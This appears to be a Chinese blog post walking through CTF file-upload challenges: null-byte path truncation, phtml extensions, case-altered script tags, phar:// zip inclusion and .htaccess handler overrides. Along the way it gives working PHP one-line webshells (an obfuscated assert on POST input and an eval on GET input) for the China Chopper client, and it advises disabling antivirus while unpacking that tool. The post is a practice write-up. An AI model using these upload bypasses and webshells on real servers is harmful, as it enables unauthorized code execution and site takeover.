zoukankan      html  css  js  c++  java
  • 截断上传 CTF

    题目:上传绕过

    介绍:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html

    1,我们打开链接,是个上传题,我们先随便上传点东西,提示   不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件   ,然后我们上传一张图片后缀是.png,结果显示     必须上传成后缀名为php的文件才行啊!  ,现在我们上传php文件,结果显示     不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件。

    2,这里我们应该怎么办呢,接下来我们截断上传,我们打开burp suite ,上传一个png文件,使之上传成功,我们会抓到上传的路径,我们在抓到的路径uploads/ 后面加个空格,然后在Hex出把20改成00(当程序输出包含chr(0)变量时,chr(0)后面的数据会被截断,后面的数据直接忽略,导致漏洞产生。在/Upload/后面加一个空格,点开hex,将其对应的20改成00,就可以绕过后缀名的过滤),如下图所示

    3,完成上面的之后点击Forword,我们看浏览器页面,可以看见flag。(想要了解更多参考http://www.cnblogs.com/hack0ne/p/4603144.html)

    题目:上传1

    介绍:这是极客里面的上传题,不过现在已经平台关闭了,没办法给你们截图了。

    1、

    题目设有两句引导语:

    echo ‘This type of file is forbidden’;      echo ‘You are closer to the answer’;

    这两句可以推测出,这里是想让你用PHP文件的多种后缀名(php3,php4,phtml 等)来绕过

    上传phtml后缀的文件后,就拿到了第一个flag。

    题目:上传2

    介绍:这是上传1的延伸.这个题可以有两种办法来解。我都列出来。

    一、这是三叶草官方发布的:

    根据你上传文件输出的内容,可以看出是过滤了哪个字符

    $array=array(‘<?’,’?>’,’php’);

    这里由于我的失误,在随后的过滤中只过滤了一次,也就是说你可以双写上述字符进行绕过,但是有些同学给的payload仅双写了某个字符(比如仅仅双写了”<?”),这样是不可以的

    在修正了我的错误后,过滤规则没变,只不过会过滤到直到没有上面的三个元素,遂上面的方式失效了

    但是,可以使用PHP语言的短标签(php.ini中的short_open_tag=on)来绕过:

    <script language='php'>phpinfo();</script>
    

    加上php被过滤,因此转换下大小写即可:
    例如:

    <script language='pHp'>phpinfo();</script>


    二、另一种办法是连菜刀

    1、我们上传的时候还是上传 xxx.phtml,不过里面的内容要写成下面的东西,下面写的,过滤了好多东西。
    <script language="pHp">$k="ass"."ert"; $k(${"_PO"."ST"} ['8']);</script>
    上传成功之后就连菜刀就行了(没有的可以私聊我qq:483058235,也可以留言我每天都会看一下博客,或者自己百度下载,我的也是百度下载的,
    记得解压的时候要把电脑里面的所有的杀毒软件(360,电脑管家等等)都关掉),这里我演示一下连菜刀的图片给你们,以后连菜刀的我就不演示了。,
    首先打开菜刀,然后输入地址,也就是你上传成功的路径,然后在后面那个小框里面输入你POST的东西,
    比如上面的${"_PO"."ST"} ['8'])
    ,这个就是在小框里输入8 然后改下下面的脚本类型,添加就OK了,然后再看里面的东西,会有flag.
    ps:自己可以搜一下一句话,这里有好多类型的php,asp等等......







    题目:上传
    介绍:这是刚刚结束的HCTF的上传题目,地址:http://pics.hctf.io/home.php?key=hduisa123,你们没有账号估计进不去,没事我给截图。
    1,这是 zip协议包含文件 不懂的可以百度一下,首先我们可以看到页面,

    2,我们先测试一下,很简单的,我们先创建一个php文件,里面输入<?php echo phpinfo(); ?>就行了,接下来我们把php文件压缩成zip文件,

    之前测试可以知道只支持上传png文件,所以我们把zip文件改成png,(1.php→压缩→1.zip→重命名→1.png→上传)

    这样就会上传成功了,记住文件上传成功的路径,接下来我们在原来的页面测试一下是不是上传成功,

    输入?fp=phar://uploads/d6c97df8f7e9453739248070e0ef29edbbab7d5d.png/1111    
    这里的phar是读zip文件的,这里的1111是你上传的png的文件名,每个人上传的路径都是不一样的,不要直接拿我的试。

    因为你刚开始压缩的是1111.php文件,这里的1111的后面不用加.php了,因为fp把本地文件包含进来的时候已经加了.php了。

    下面我们看截图

    3,可以看到我们测试成功,接下来你们就可以重新上传一句话,然后和上面上传一样,上传成功之后连菜刀,flag就出来了。

    题目:.htaccess 文件上传  漏洞

    有的上传是只允许jpg,png......不允许php,asp,aspx,jsp等上传,但是这里讲到的htaccess文件上传是利用一个上传的一个疏忽。

    .htaccess 是apache服务器中的一个配置文件,不是上传的文件的黑名单之内,因此可以上传成功。

    .htaccess文件中定义了将上传的文件后缀名为 .jpg 格式的文件以 php 格式来解析文件。

    上传.htaccess文件的内容为:

    <IfModule>

    AddType application/x-http-php .jpg 

    </IfModule>

      (上传的jpg 均以php执行,同样png,html,txt都是一样的)

    把.htaccess 上传后,且上传成功后,再上传内容为一句话的jpg文件

    jpg文件内容:<?php @eval($_GET["orange"]); ?>

    查看上传成功的路径,可以执行php语句。进而getshell。

    任重而道远!

  • 相关阅读:
    05 | 深入浅出索引(下)
    04 | 深入浅出索引(上)
    03 | 事务隔离:为什么你改了我还看不见?
    02 | 日志系统:一条SQL更新语句是如何执行的?
    01 | 基础架构:一条SQL查询语句是如何执行的?
    orm的惰性机制
    简易的迁移
    rails 中 preload、includes、Eager load、Joins 的区别
    换种方式去分页
    Scala function programming
  • 原文地址:https://www.cnblogs.com/Oran9e/p/6120388.html
Copyright © 2011-2022 走看看